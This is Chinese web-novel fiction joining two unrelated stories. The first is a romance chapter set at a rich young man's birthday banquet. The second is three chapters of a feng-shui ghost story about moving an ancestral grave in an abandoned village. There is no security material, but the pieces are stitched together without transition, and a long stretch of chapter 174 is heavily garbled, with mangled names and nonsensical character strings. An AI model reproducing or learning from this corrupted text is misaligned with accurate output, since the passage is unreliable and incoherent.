他语罢不知为什么,忽然失去了抽烟的兴趣,从长椅上起身,掐灭烟头扔到了垃圾桶里,过两天就是薛邈的生日聚会,那个时候才是真正的重头戏,如果陈恕没有记错的话…… 蒋晰也会出席。 那个耍了庄一寒半辈子,让庄一寒痛苦了半辈子,并且让自己嫉妒了半辈子的人,终于要见面了。 陈恕仰头看向夜色中皎洁的月亮,神情若有所思,庄一寒,让我看看这辈子你会怎么选吧,是我沉甸甸而又真挚的“偏爱”,还是蒋晰遍体鳞伤的“耍弄”? 他真的很好奇。 20. 蒋晰 很快就到了薛邈生日这天。 地点选在一家环境颇为清雅的餐厅里,包厢只低调摆了两桌酒,邀请的都是一些关系较好的年轻朋友,因为没有长辈在场,倒是少了很多拘束。 庄一寒和陈恕抵达包厢门口的时候,只见里面已经到了大半人,其中一名面容俊雅的年轻男子端着酒杯在人群中穿梭,浅笑着招呼大家落座,赫然是今天生日宴的主人公薛邈。 “哥!” 今天的酒宴庄一凡也有出席,他最先看见自家大哥,吊儿郎当坐在位置上抬手打了声招呼,目光落在一旁的陈恕身上时,则多了几分讶然,大概他也没想到这个男模居然真能把庄一寒给拿下,而且还带到了今天这种场合,看着是个普通大学生,没想到真人不露相啊。 “嘶……” 庄一凡有些琢磨不明白了,难道美色的威力真有那么大? “我弟弟,不用理他。” 庄一寒一向看不惯庄一凡没个正形的模样,他微微偏头,示意初来乍到的陈恕跟紧自己,领着对方朝薛邈那边走去,此时薛邈也发现了他们,立刻迈步迎了上来,开口就是调侃,明显和庄一寒关系不错。 “哟,庄总这个大忙人今天居然也来了,我真是受宠若惊,其实小小生日而已,你人不到也没事,只要礼物到了就好。” 庄一寒听见薛邈的打趣,眼底难得浮现出一丝笑意:“那你可能要失望了,我今天不止没带礼物,还多带了一张嘴,反正你薛大公子难得请客,不吃白不吃。” 庄一寒语罢微微侧身,让出后面的陈恕来,不着痕迹把他往前推了推,亲密之意尽显:“这是陈恕,上次他爸爸住院还是你帮忙安排的手术,他听说你今天过生日,想过来道个谢。” 陈恕顺势对薛邈颔首,目光清正,半点也不怯场:“薛少,上次的事多谢你费心,祝你生日快乐,希望别怪我今天不请自来。” 薛邈看见陈恕先是一愣,随即回过神来,笑着赞叹道:“闻名不如见面,果然和方倚庭说的一样是个大帅哥,以后大家都是朋友,不用这么客气,叫我薛邈就行了,等会儿多喝两杯酒,我肯定不怪你。” 庄一寒和陈恕在一起的时候并没有避着谁,圈子里的人只要稍加打听就能知道他身边多了个小情人,而且还特别宠,否则今天这种朋友聚会的场合谁会特意带小情人过来。 那些暗中看热闹的人原本还在猜测庄一寒是不是被蒋晰伤得太深,干脆破罐子破摔,从外面找了个妖艳贱货来疗伤。毕竟和那些混吃等死的二世祖不同,庄一寒年纪轻轻就继承了家业,又一向洁身自好,是出了名的天之骄子,找小情人这种事放在别人身上是稀松平常,放在他身上就是自甘堕落了。 但今天一看,别人琢磨来琢磨去,又觉得有点不太像那么回事儿了。 无他,庄一寒身边的那名男子实在是太抓眼了,尽管包厢里的水晶灯光璀璨夺目,还有那么多光鲜亮丽的客人,但对方只是静静站在那里就有一种明珠落在沙砾堆里的感觉,外貌出色,体态出色,更特别的是身上那种让人捉摸不透的神秘气质,让人控制不住看了一眼又一眼,满场大半人的目光都落在了他身上。 如果不是熟知内情,谁会以为他是庄一寒的小情人,比起薛邈那种清贵家世熏陶出来的贵公子也不逊色什么。 那些宾客在心中暗忖,庄一寒这哪里是破罐子破摔,分明是把眼睛擦亮了啊。毕竟蒋晰这个人着实有些难评,他的家世地位摆在那儿,你不能昧着良心说他差,但你如果说他好,桩桩件件的事,又实在有些难以夸出口。 不过唯一可以确定的是,没有哪个傻子会像庄一寒一样对他死心塌地的,被摆弄了那么多遍还不翻脸。 酒桌上不少人都和庄一寒熟识,他和薛邈打完招呼后就带着陈恕在其中一桌落座,左边挨着庄一凡和方倚庭,右手则是陈恕,陈恕旁边坐着一名气质颇为骄矜的富家少爷,看起来二十来岁出头的年纪,生得唇红齿白,只是不知道为什么,低着头显得阴沉沉的,也不和别人说话。 陈恕不着痕迹看了这人一眼,总觉得有些眼熟,他仔细回想片刻,这才发现对方好像是段成材的那个“陈少”,上次在香茗阁吃饭还遇到过。 只是不知道为什么,原本形影不离的两个人此时竟然落了单。 “楚尧,今天薛邈难得过生日,你干嘛老吊着张脸,不知道的还以为有人欠了你十亿八亿呢。” 庄一寒和陈楚尧不熟,所以只是淡淡点了点头,并没有多说话,反倒是庄一凡和他关系不错,笑嘻嘻走过去揽着陈楚尧的肩膀逗他。 陈楚尧听见庄一凡的打趣,脸色却并没有好转几分,反而把目光一瞥,幽幽盯向了陈恕,略显突兀的开口问道:“这是你哥的朋友吗,怎么也不介绍介绍?” 陈恕微微一顿,并不知道对方为什么要这么在意自己。 庄一凡这辈子对陈恕没什么恶意,恰恰相反,他十分感激对方把自家大哥迷得神魂颠倒,刚好踹了蒋晰那棵歪脖子树,闻言长臂一伸,亲热揽住了陈恕的肩膀,不知道的人还以为他们俩关系有多好一样: “他叫陈恕,还在念大学呢,我哥的人,你少打歪主意。” 陈楚尧扯了扯嘴角,露出一个敷衍的笑容来:“那还挺巧的,和我是本家。” 他语罢移开视线,后半程再没说过话,仿佛只是心血来潮随口那么一问。 庄一寒察觉到这边的暗流涌动,微不可察皱了皱眉,对弟弟道:“今天是薛邈生日,你去敬他几杯酒。” 庄一寒的交友圈子和庄一凡的交友圈子明显有着质与质的区别,前者更多的是像薛邈这种有实力又性格不俗的人,后者则纯粹是狐朋狗友扎堆。 庄一寒和陈楚尧虽然交际不深,但也打过几次照面,只能说和自家弟弟一样,都是那种生性凉薄且喜欢寻欢作乐的富家子弟,本能的,他不太愿意让庄一凡和对方接触—— 虽然都是两坨狗屎,但离得远一些,好歹不会沾上对方的臭气。 庄一凡显然知道大哥的意思,不情不愿哦了一声,只好到旁边找薛邈他们玩了。 就在这时,门口不知何时多了两名帮忙操持场面的长者,看起来气质不俗,大概是薛邈的父母,他们无意参加小辈的宴会,只是顺道过来露个面,但因为两家是世交,庄一寒难免要 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庄一凡敬完酒回来,见状皮笑肉不笑,心想哪里都有那种烦人的苍蝇,他面无表情灌了一杯酒,正准备上前帮陈恕解围,毕竟怎么说也是他哥的人,轮不到这些阿猫阿狗欺负,然而他还没来得及动作,就见陈恕已经端着酒杯起身一一作答,不轻不重就把那些人的问题给挡了回去,至于那些想暗中勾搭的,他也浅笑着保持距离,一推四五六,比他哥在生意场上的做派还要游刃有余一些,哪里需要人帮忙。 庄一凡见状身形一顿,只好心情微妙地坐了回去。 娘的,他只是想找一个人转移他哥的注意力,别一天到晚黏在蒋晰身上,可不是想找一个手腕更厉害的来拿捏他哥啊。 这个陈恕让人看不透,总觉得不是池中之物。 陈恕并没有察觉到庄一凡暗处的打量,就算发现了也不会在意,他打发完那些讨厌的苍蝇后,转身回到了原位落座,没成想一旁的陈楚尧忽然扭过头来看向了他。 很难形容那双眼睛,漆黑、深不见底,像阴云密布的天空,连声音也是阴冷的: “你认识段成材吧?” 陈恕笑意不变:“不如陈少先说说找他有什么事,我再决定要不要认识他。” 陈楚尧冷冷勾唇:“你挺机灵的,怪不得能和他做朋友。” “给段成材带一句话,让他别装死不回信,一个星期内再不来找我,我就让他知道出人命是什么滋味。” 他扔下这句略显毛骨悚然的话后,连酒宴也不参加了,直接起身从后门离去,周遭的热闹喧嚣仿佛和他没有任何关系,被一道无形的屏障越隔越远。 陈恕闻言微微皱眉,心想段成材最近难道做了什么事?然而还没等他理出一个头绪,就感觉四周的气氛忽然微妙静了一瞬,许多人都纷纷看向了正门口的位置,神色难掩诧异,仿佛来了什么意料之外的客人。 陈恕似有所感,在稠丽的灯影下抬眼看去,只见门口不知何时多了一名身形挺拔的男子,虽然看不清面容,他却莫名心头一跳,猜到了来者身份。 蒋晰…… 173、见面 怪不得清逸这么怂,让师父知道了能把他屎都打出来!堂堂内门弟子居然因为懒得画符跑去复印店打印,传出去他们师父还要不要在圈子里混了? 封凛眼眸微眯,阴恻恻出声:“你小子,胆挺大啊。” 清逸知道自己已经完蛋了,现在只能争取宽大处理,抱着封凛的腿嚎啕大哭:“大师兄,我对不起师父对不起你,对不起三清祖师爷!我给大家丢脸了,求求你千万别告诉师父,不然他在国外也能扎我小人呜呜鸣……”连封凛这么横行无忌的主都怕被他师父扎小人,更遑论胆子最小的清逸了,他刚才在后面排队的时候听见大师兄让每个师弟师妹都去打电话催师父回来,吓得腿都软了。灵薇在旁边看得于心不忍,迟疑开口劝道:“大师兄,清逸也知道错了,要不你就原谅他一次吧,我在旁边盯着,保证他下次肯定不敢偷懒。”封凛垂眸瞥了眼清逸,后者连忙小鸡啄米点头,以示决心:“真的真的大师兄,我肯定不敢再犯了。”封凛在清逸忐忑的目光中静默半晌,终于吐出一句话:“想让我帮你瞒着也行,下星期你和灵薇和我一起出趟差,去外地帮人迁坟。” 清逸傻眼了:“啊???” 赵嘉恒最近估计挺焦头烂额的,毕竟他爸爸住院,妈妈早逝,家里现在就剩下他一个人打理生意,楼盘卖不出去资金就无法回笼,资金无法回笼其余的项目也得搁浅,光是欠银行的贷款每天都利息惊人。 白默年约了他在咖啡厅见面,当封凛抬眼望去时,几乎没认出迎面走来的那个人是赵嘉恒—— 对方也算意气风发的青年才俊,现在却脸颊瘦削,眼窝深陷,浓重的黑眼圈衬得脸色愈发苍白,西装外套松松垮垮地挂在肩上,整个人像是被抽走了精气神。 “封先生,听默年说你愿意帮我家看风水,是真的吗?” 赵嘉恒的声音沙哑得厉害,连寒暄都省去了。他紧紧攥住桌子边缘,指节发白,仿佛那是他唯一能抓住的东西,布满血丝的眼睛一瞬不瞬地盯着封凛,像是溺水者望着漂来的浮木。封凛慢条斯理抿了口咖啡,杯底与瓷盘相碰,发出清脆的声响。 “可以。”他放下杯子,直视对方,“五百万定金,先打到默年账上。” 白默年原本安静坐在一旁,通过读唇默默了解这两个人的对话,冷不丁看见封凛说把钱打到自己账上,讶异看了他一眼,险些怀疑自己听错了。 赵嘉恒如释重负的长松了口气:“钱不是问题,等会儿我就让人转过去,封先生,不知道我们什么时候出发,还有什么需要准备的吗?” 封凛淡淡摇头:“我会带两个助手,东西由他们准备,你负责带路就行,明天出发,食宿全包,没问题吧?” 赵嘉恒连三千万都愿意给了,还怕包个食宿吗,他连忙点头表示没问题,并说等会儿就让人订四张机票,但没想到就在这时,封凛放在桌上的手忽然被人轻轻按住,顺着看去,只见白默年用手语比划道: 【我也想跟着一起去,可以吗?】 他好像对这种风水术数的事情很感兴趣,唇角微微上扬, 【我没见过,想看看。】 封凛挑了挑眉:“你也想跟着一起去?” 他还未表态,一旁的赵嘉恒就连忙道:“行行行,这个没问题,回头我让人再多订一张机票。” 他肯这么说主要还是因为和封凛交情不深,叫上白默年也保险点,回头万一遇上什么麻烦,封凛看在白默年的面上也不会太袖手旁观。 封凛自从算出白默年被人借命之后,本来就不太放心让对方一个人待着,眼见赵嘉恒这个当事人都同意了,自然不会反对,点了点头道 “好,那你和我们一起去,明天早上汇合。” 翌日清早,机场大厅里人流如织。 封凛约好了八点和赵嘉恒在机场碰面,只见他还是一身万年不变的黑色冲锋衣外套,单肩背一个运动登山包,不言不语的样子看起来生人勿近,活像秀场里走出来的模特。“封… 赵嘉恒刚要抬手示意,目光却突然凝固在封凛身后那两个“助理”身上,他伸到一半的手僵在半空,嘴角不受控制地抽动了两下,眼睛里写满了不可置信。 只见封凛身后最左边的那个年轻男子穿着一件破旧白背心,灰蓝色长裤,黑色布鞋,最绝的是头上还带着一顶草编的遮阳帽,活像被狗啃了似的,就差把“我是穷人家的孩子”写在脸上了。 旁边的女生造型更是令人窒息,两条麻花辫用褪色的红头绳扎着,碎花上衣的领口都磨出了毛边,那条黑裤子明显大了一号,裤脚还往上卷了两道,要不是那张白净秀气的脸蛋撑着, 活脱脱就是个乡下丫头。 ——而这一切的起因都源自于封凛。 临出发前封凛怕这两个平时打扮骚包的师弟师妹在白默年面前露了馅,干叮咛万嘱咐让她们一定要穿得越朴素越好,最好就像第一天从穷山沟沟里刚出来一样,而且他们对外的身份是兄妹,千万不能说漏嘴了。 大师兄有令,清逸和灵薇也不敢眈误,连夜去旧货市场淘了两身破烂衣服,以至于刚一进机场就引得来往旅客纷纷侧目,甚至还有小孩指者他们天真地问“妈妈,那是要饭的吗?”清逸实在受不了,涨红着脸羞愤问道:“大师兄,你干嘛要我们穿成这样?太丢人了,刚才安检员看我们的眼神就像看逃犯。” 封凛闻言脚步一顿,掀起眼皮目光危险地扫了他一眼,冰冷的语气暗藏几分咬牙切齿:“你以为我和你们两个走一起不丢人吗?我只是让你们穿朴素一点,又没让你们穿得像两个土疙瘩?!!现在什么年代了你们还穿这身?!” 灵薇委屈扯了扯身上肥大的黑裤子:“大师兄,不是你说让我们穿的像从山沟沟里出来的一样吗。” 封凛额头青筋直跳,心想你们两个穿的不像刚从山里出来的,倒像是刚从坟里爬出来的:“等会儿没我的允许不许乱说话,听见了没?” 清逸&灵薇:“QAQ好的大师兄。” 赵嘉恒不知道是不是怕丢脸,瞬间把伸出去打招呼的手缩了回来,直到封凛带着人走到面前了,这才笑着打招呼:“封先生,你们来了,行程我都安排好了,等会儿直接坐八点五十的航班飞H市就行,等出了机场再转车,路有点远,可能要辛苦各位了。” 他语罢迟疑看向清逸和灵薇:“这两位是你的助理吗?” 封凛解释道:“我弟弟和妹妹,他们小时候在山上学过风水,所以我这次就把他们带过来一起帮忙,清逸,灵薇,这就是我和你们说的赵先生。” 清逸在帅哥面前更自卑了,低头打了声招呼:“赵先生好。” 灵薇也紧随其后:“赵先生好。” 赵嘉恒笑着摆了摆手:“什么先生,你们叫我赵嘉恒就好,这次还得麻烦封先生和你们了。” 心中却有些讶异,没想到这两个人穿的这么土气,名字居然取得还挺文雅。 因为机场一般建在郊区,过去要不少时间,再加上他们三个人住的方位又不一样,所以封凛就没和白默年一起过来,而是从自己家里直接出发去机场。 就在他们互相寒暄的时候,白默年也抵达了机场大厅,他看见清逸和灵薇的时候也和赵嘉恒一样愣了一瞬,不过想起昨天晚上聊天时封凛说会带着弟弟妹妹一起过来,很快就反应过来这两个人的身份,主动握手打了个招呼: 【你好。】 白默年怕他们看不懂手语,所以就没有比划,而是无声用嘴型说了两个字,然后露出一抹善意的微笑,浅浅的,就像清风拂过湖面。 灵薇眼睛一亮,她最喜欢这种白白净净的清俊帅哥了,当即忍不住红着脸悄悄扯了扯清逸的衣角,压低声音激动道:“好帅~” 虽然大师兄也很帅,但他整天冷着张脸凶巴巴的,哪有面前这个惹人怜爱。 “再帅也和你没关系,听说他是大师兄对象,你不知道大师兄是个基佬吗?” 清逸飞快扭头凑到灵薇耳边小声说完这句话,然后就转头看向白默年,对他露出一个招牌性灿烂笑容,八颗大白牙都露在了外面:“你好,我叫清逸,是封凛的弟弟,很高兴认识你。” 白默年原本是不爱和人打交道的,但或许因为面前这两个年轻人是封凛的弟弟妹妹,他破天荒多了几分耐心,坐在旁边的休息区和清逸灵薇用手机聊得不亦乐乎,想多了解一点封凛以前的事。 白默年垂眸在手机上认真打字: 【你们多大年纪了?】 清逸看见屏幕上的内容,指了指自己,比了个20的手势,又指了指灵薇,比了个19的手势,最后悄悄指了指封凛,比了个25的手势。白默年没想到她们这么年轻,又用手机打了一行字好奇问道:【那你们平常都住在山里吗?】 “住在山里?” 清逸见状一愣,刚准备说他们在市中心有住处,早就不住山里了,结果被灵薇暗中掐了一把,瞬间反应过来,拍着大腿故作惊喜的道 “哎呦喂,你咋知道俺们平常都住在山里咧?肯定是大哥和你说的吧?俺们村那旮瘩老远了,平常都看不见几个人,逢年过节都吃不上一口肉…” 174、寻坟 别看赵家是A市有名的富商,祖坟却埋在一个鸟不拉屎的穷乡僻期里,当飞机年落抵达H市的时候,赵嘉恒提前安排女好的车已经在出站口等着了,一辆七座越野停在不远l,黑色的车身看起来霸气侧届。洁洛篮若脚头张望,忍不住小声墙咕“我环不是头一次看见有人接机用越子车接的,不得保来辆天宫或者至罐什么的才够非场吗?灵敬言喧了他一眼显然对洁逸刚才书那番做作的表演很是部视“你们村不是穷得年到头都见不若几回举腥吗连内都吃不上的人还挑三拣四?要我说,你就配y49+立的板车!她语罢气鼓鼓甩了甩乌黑油亮的麻花辫,加快脚步追上了前方的封凛一行人。临上车的时候,赵起嘉恒很是抱地的对众人道“不好音思,我老家有点偏,山路不好走,等会儿可能要辛苦大家了.起初大家都认为他是在客自毕境山路再难走还的雄走到哪去,间言部3)1摆手表示没事,洁洛甚至难得说了句人话“赵先生大见外了,龟1从小就走山路明,这百什么幸苦的.然而当越野车驶离机场高速,拐进蜿蜒的山路时,所有人都意识到自己错得离谱。 他们D参中的山路最多皓呕点泥 点面而哪点但赵高在开车走的这条山路日经不能叫山路了,分明足个碎石区车轮强J的地方石块四处飞既不断撞山应组发出令人才牙酸的声共响,车身日四驿纪仿佛下形就会部T山步,而月人灵魂都快出窍了。洁这5机作车质扶手整个人修饰抽样个不停“赵 赵先生 你家祖宗也大会位适了葬哪里不好居然群这种登天路赵嘉恒现在哪里不顾得上搭话?刚才一个陡坡让他的天灵盖与车页顶来了1辛空接触。咚的 响过后,这位养尊处仇的么子哥眼前金呈乱冒,疼得连自家祖朝哪开都记不洁了在一片鬼哭狼聘的声音中,只有封厚和白助年表现出了异于常人的自定,封膜一边堰住扶手一边低头用罗益退难助加方位任凭车身如何血师话,手B始的 丝不动,白跃年做不可套地了轴眉,转头里向窗外那片望不到头40碎石路,肺若车辆不断采人,他心中没来由诵上一阵车心山惊内的感觉,仿佛远达处的空林苗伙者什么不可名状之物伴随着逐新暗沉的天色,车子在历经长达七小时的颠簸后终于抵达了赵嘉恒老家的村口,只听“砰”一声车门被打开的动静,清逸率先捂着屁股从里面冲了下来,紧随其后的就是灵薇和封凛他们。“我的妈呀,终于到了,再坐几分钟我的老命非交代在这里不可……. 清逸脸色发绿,只感觉这趟差事实在是太折腾了,他早该想到的,大师兄怎么可能有那么好心。 “还有力气说话,车子没坐够是不是?” 封桌是最后一个下车的,黑色中锋衣外套被风败得有些鼓噪,他冷冷扫了清逸一眼,后者硕地惨被格件脖子的鸡,灰蜜溜跑去后备箱服行李了。 白默年虽然是富家公子,但没什么娇生惯养的毛病,他见状刚想帮着清逸一起拎东西,结果还没来得及挨到行李箱边缘,另外一只手就先他一步拎了下来。 “我来。” 白默年这组路酵件B题B的,封原怎么可能让对方拎东西,他把足有几十斤重的行李箱荏地上一招,然后试若溪了深,发现在尼路上地强由自能拖得动。 “走吧,今天太晚了,我们先找个地方落脚,明天再迁坟。” 这句话明显是对着赵嘉恒说的。 借者昏黄的车灯,众人只见一条地强篇得上平始的黄尼路饰虹者估进本用的板色田,路口还建者一座摇盆06房,斑5的站面上残留着框色的%料广告,隐险的约还能看见“肥快三个大字,红测容的地方旅出吉灰色共块。活像一张生了癞疮的脸。 “呼… 一阵冷风吹过,屋檐下几片残破的瓦片发出”咯吱咯吱”的响动,整个村子看不见半点灯火,连声狗叫嘟都听不见,只有风吹过枯草的沙沙声,在死寂的夜色中格外刺耳。 灵薇控制不住搓了搓胳膊 赵先生,你们村里有人住吗?我怎么看里面好像废弃很久了。屋宅是需要人气滋养的,有些荒村如果大久没有行人踏足,就会杂草丛生,蛇虫遍布,如果坐标方位又不向阳,很容易滋生精怪鬼魅。赵赢恒不确定的道“其实我也不是经常回来,这边路不好走,我也就三年前祭担的时候来过一次,当时已经没剩几个人住了,现在城市那么发达,年轻人都出去打工了,也就一些老人愿意留下来守村。“他说着顿了顿,自己声音都有些发虚:“现在里面没人住,可能都去世了吧…”灵薇惊讶看了他一眼:“那你们三年都不回来,祖坟谁来打理啊?”赵嘉恒尴尬一笑:“我爸以前还经常来,但是这几年生意出问题忙得焦头烂额就没空了,而且和村子里的人也不熟,就没怎么来往。”灵薇哦了一声,没再说些什么,反正这种事她和清逸也见过不少了,有些不肖子孙几十年都不去拜祖先,自家祖坟让施工队挖了都不知道。因为光线大暗,大家只能用手电简照路,然后深脚 一脚地往里面走。封凛为了以防万一,往白默年手腕上套了个红绳,这样等会儿不小心失散了他也能靠罗盘找到对方的位置。赵豪恒靠着记忆在前方带路,然而走着走若他就顿生了脚步,概因面的黄士路已经逐新尚失,变成了一片足有半人高的草丛,这种不知名的草长得很是锋利,皮肤轻轻磁就会被割出血来。让人不敢面间。难道是自己走错了?这个念头让赵嘉恒有些不安,毕竟今天的行程已经够煎熬了,大家全都精疲力尽的,哪有力气再重新找路。赵嘉恒转身看向封凛,硬着头皮道:“那个,我好像有点走错方向了,要不大家原地休息等等我,我去试试另外一条路能不能走,如果能行我再回来找你们。”清逸道:“这怎么行,我们学道术的时候师父都说了,荒村古宅阴气最重,一人落单,三火皆灭,怎么能让你一个人落单,你再仔细想想,到底是哪条路?”赵嘉恒费解抓了抓头发:“我记得就是这条路啊,但是以前没这片草丛的,难道村里改路了?”就在他急得团团乱转的时候,封凛忽然放下行李箱走上前折了一片叶子,然后放在掌心仔细观察,出乎意料道:“你没走错,就是这条路。” 赵嘉恒难掩惊讶:“啊?” 封凛眉头紧蹙,语气沉凝的道:“这种草并不是普通杂草,而是“锁阴蓟”,《葬经》上说:蓟生路断,阴锁阳关’,只要用黑狗血混合朱砂浸泡种子,再选阴年阴月播种,长成后能阻隔阳气,形成“阴路阳断’的风水局,分明是有人故意种下挡住外来人的。” 赵嘉恒脸色“刷”地白了:“阴…路阳断?” 封凛轻飘飘瞥了他一眼:“就是阴间之路,阳气断绝,让活人无路可走的意思。” 就在他们7说活的时候,清逸一经跨下身抓了把土该到鼻子前细间,只贝他猛地一把场掉,脸色难看的起身道“大师兄,土甲面真的上人掺了黑狗血和朱砂,。这条路咱们还走吗?““走。” 封凛冷冷吐出一个字,目光扫过远处茫茫黑夜,带着无声的威慑,心想这是活人走的路,他们干嘛不走, “去点一把香,我在前面开路,你和灵薇在队伍最后面。” 清逸应了一声,然后打开行李箱,和灵薇熟练点了一把线香递给封凛,又另外点了两根分给白默年和赵嘉恒,出声叮嘱道: “等会儿记得跟紧别掉队,也别让手里的香灭了,香味可以遮住你身上的人气,如果灭了就容易被恶魂上身。” 赵嘉恒闻言吓得手都在哆嗦:“清…清逸…我老感觉一根不保险,要不你再多给我几根吧?” 灵薇拿了一垂纸钱在手中灵活揉开,在旁边插话道:“喂,这个香不仅是为了挡你身上的人气,也是为了喂食过路的孤魂野鬼,你拿多了它们就全往你身上扑,真以为是什么好事呀?” 赵嘉恒没想到里面居然还有这个讲究,连忙捧着自己的那根香后退两步,小心翼翼抬手护住,同时忍不住瞥了眼封凛—他手里拿着一把香,少说也有四五+根了。 “等会儿跟紧我,别掉队。” 封原先是回头叮嘱了白欧年一句,这才重新看向面前足有半人多高0D5商队,只风他用力用了一下手中的结香,件随着般白露实离开起,四国忽然来一阵陈明风,仿佛有天数看不见的乐西正从四而/方蜂拥而至,负垫吸食着封擦手中的舌 更骇人的是,眼前足有半人多高的草丛忽然向两侧倒伏,从中间硬生生分出一条幽深的小径,只见草丛深处陷约可见点点磷火,如同无数双窥视的眼睛。“都护好自己的香。” 封凛先是低声提醒了一句,这才走在前方开路,白默年和赵嘉恒紧随其后,清逸和灵薇则在后面漫天撒散纸钱,他们借了鬼魂之力开道,这些香火和纸钱就是酬劳。赵嘉恒是众人里胆子最小的一个,四周阴风呼啸,他生怕自己的香灭了,全程小心翼翼抬手挡风,时不时还要注意脚下的泥路,走得后背冷汗直冒。白默年见他害怕,就主动让赵嘉恒走在前面,毕竟离封凛近一些比较有安全感,如此举动换来了赵嘉恒感激的视线,看得站在队伍后面的清逸一个劲翻白眼,大男人胆子还这么小,白长那么高个儿了。不知走了多久,仿佛过了一个世纪那么湿长,直到赵燕恒手国那同伶今今的香都共烷完了。眼的连天蔽日的草从终于消失,取而代之的则是一片开的视野,依稀可以看见老l旧的材屋影子,而其中最运伟运54的B那座就是赵家的桐堂,赵嘉恒见状神色顿时一喜,却又不敢出声打扰前面的封凛,连忙回头小声对清逸他们道:“找到了找到了,我记得路”话未说完,他脸色忽然一变。 因为白默年手里的香不知何时灭了。 175、撞破 眼前这副情景实在太过诡异,赵嘉恒只觉得就像一盆冷水当头浇下,寒意从脚底直窜上脊背,连呼吸都凝滞了。 白默年静静站在他身后,手里的线香不过燃到三分之一就灭了,那双漆黑暗沉的眼睛藏在碎发后方,肤色在月光下更显苍白,就那么阴鸷盯着他,简直让人毛骨悚然。 “默……默年……赵嘉恒声音发颤,踉跄着后退几步,慌张伸手去攥封凛的衣角:“封先生……你快看……默年手里的香…….”话没说完,封凛就已经敏锐察觉到异样,只见他眉头一皱,果断把手中的残香往地上一插,转身时没有丝毫犹豫,指尖快如闪电划过路旁锋利的草叶,直接往白默年眉心用力一点留下一抹殷红的血痕。“呼——!”四周原本平静的草丛忽然剧烈摇晃起来,发出一阵“沙沙”声,仿佛有什么看不见的东西被惊得四处逃窜。白默年瞳孔骤然一缩,随即又缓缓散开,眼神逐渐恢复清明,他带着几分茫然抬头望向封凛又低头看了看自己手中断裂的线香,仿佛没明白刚才发生了什么事。封凛目光紧盯着他,用手势严肃问道:【怎么样?有没有哪里不舒服?】白默年这种被借过命的人八字很弱,最容易被脏东西沾身,而且他属于天残地缺,三魂六魄一定缺了一魂一魄,如果真有什么脏东西附身,封凛都不一定能察觉得到。白默年也不知是不是被吓到了,过了半晌才反应过来,只见他困惑摇头,动作有些迟缓的回答道:【没事,就是感觉,头有点晕。】封凛抬手把他眉心的血痕轻轻擦去,安慰道:【没关系,可能是累了,前面就是村屋,我们过去随便找个地方休息一晚上。】他语罢示意大家把手里的残香插在地上,然后继续往前赶路,只是行走时有意无意落后半步,和白默年处在同一水平线上。在无人注意的角落,封凛盯着白默年清瘦的背影看了片刻,忽然毫无预兆伸手在对方后颈连拍三下,发出三声沉闷的动静,在黑夜中显得尤为突兀。赵嘉恒见状懵了:“封先生,你忽然打默年干嘛?”就连前面的白默年都脚步一顿,捂着后颈转身看向封凛,他眉头微皱,莫名看出了几分委屈,用手语不解问道: 【你,为什么,打我?】 封凛:“ 封凛总不能说自己担心白默年身上的脏东西还没走干净,所以再试一试,他脸不红道心不跳的用手语比划道:【刚才有蚊子,我怕你被咬,山里的野蚊子很毒。】白默年捂着后颈,月光下能清晰看到他白皙皮肤上泛起的红印,他抿了抿唇,眼神复杂地看了封凛一眼,也不知是信了还是没信: 【那你走我前面。】封凛愣了一瞬:【怎么,你也怕鬼?】白默年唇瓣抿得更紧了:【我怕你又打我。】他又不傻,哪有人打蚊子会连打三下的。 封凛:“ 穿过那片草丛后,接下来的路就好走多了,大家拎着行李继续往前赶路,没过多久就到了一座建筑颇为宏伟但难掩老旧的祠堂跟前,赵嘉恒见状加快速度往前跑了两步,回头对众人欣喜道: “这就是我家的祠堂,我之前原本还以为村里有人呢,没想到早就荒了,反正住哪儿都是住,干脆住祠堂里面算了,还近点。” 经过一整天的舟车劳顿,大家确实也累了,闻言并没有反对这个提议,全都上前帮着赵嘉恒一起推门,只听沉重的木门发出一阵刺耳的“吱呀”声,仿佛多年未动的机关被突然唤醒,一股陈年的香火味混合着霉味扑面而来,呛得众人一个劲咳 嗽。 赵嘉恒一边抬手扇灰,一边领着大家往里面走去,空荡阴森的老式建筑悄悄说话都能引起回音,三进三出的设计,像是古时候的豪门大族: “这座祠堂还是我小时候村里一起集资建的,里面供奉的都是祖先牌位,我们在前厅凑合凑合睡一晚上就好,明天我打电话叫几个人过来一起迁文……. 就在赵嘉恒絮絮叨叨解释的时候,封凛不知从哪里掏出了一叠黄符,每经过一处地方就贴一张,等他们走到前厅大堂的时候,最后一张符纸也刚好贴完,夜风一吹簌簌作响,带着某种奇特的韵律。 “可算是找到地方休息了,再多走一步我都不行了。” 清逸背的东西最重,语罢直接卸下身上沉重的双肩包,然后瘫坐在地上休息,就连灵薇也是差不多的状态,坐在地上活动着脖子,顺便捶了捶酸麻的胳膊和腿。 白默年见封凛不动,走上前接过他手里的行李箱放在一旁,用手语关切道:【坐下来休息吧,你也累一天了。】 封凛转头看他,墨色的眸子里闪过一丝笑意。他伸手摸了摸白默年的后颈,指腹带着薄茧,温热的触感让对方不由得轻颤了一瞬: 【还疼不疼?】 白默年迟疑一瞬,然后摇了摇头。 封凛看就知道白默年在撒谎,不过他没想到赵嘉恒这小子办事这么不牢靠,连自家村子荒了都不知道,来的时候也没带跌打损伤药,只好用手语比划道: 【饿不饿?先坐着等我一会儿,我去弄点吃的。】 清逸他们带了便携炉灶,原本是煮符水用的,现在凑合着也能用来煮煮泡面,反正符水和泡面最后的结局都是落进肚子,混着煮说不定还更健康。 封凛出去找了几根细树枝,用刀削干净,然后一人分了一双“筷子”,等锅里的矿泉水煮开之后,再把登山包里带来的泡面扔进去,挨个撒上调料包,伴随着咕嘟咕嘟的冒泡声,香味在空气中四处弥漫,所有人的都控制不住捂紧了肚子。清逸咽了咽口水:“好香啊,我以前怎么没发现泡面这么好吃。” 赵嘉恒在旁边用力点头,一副十分赞同的样子。 封凛见火候差不多了,从背包里找出几个瓷碗分给大家,这碗原本是摆香案的时候盛米和鸡血用的,没想到这个时候派上了用场。 “赶紧吃吧,深山老林的,免得把野兽招来了。” 事实上就算不用封凛提醒,大家下筷子的速度也一个比一个迅速,最后连汤渣渣都被瓜分干净了,只有白默年吃了小半碗就没再动筷子。 封凛见状怕他没吃饱,用手语询问道:【怎么了?是不是不合口味?】 白默年摇摇头:【没关系,我平常吃的比较少。】 他来的时候带了一个24寸小行李箱,里面除了换洗衣物,还有不少零食,白默年留了一半给封凛,然后又把剩下的分给了清逸他们,毕竟是成年人,一人一包泡面哪里够吃。 清逸啃着牛肉干,感动得眼泪汪汪:“默年,你真好呜呜呜,你比赵嘉恒那小子靠谱多了。” 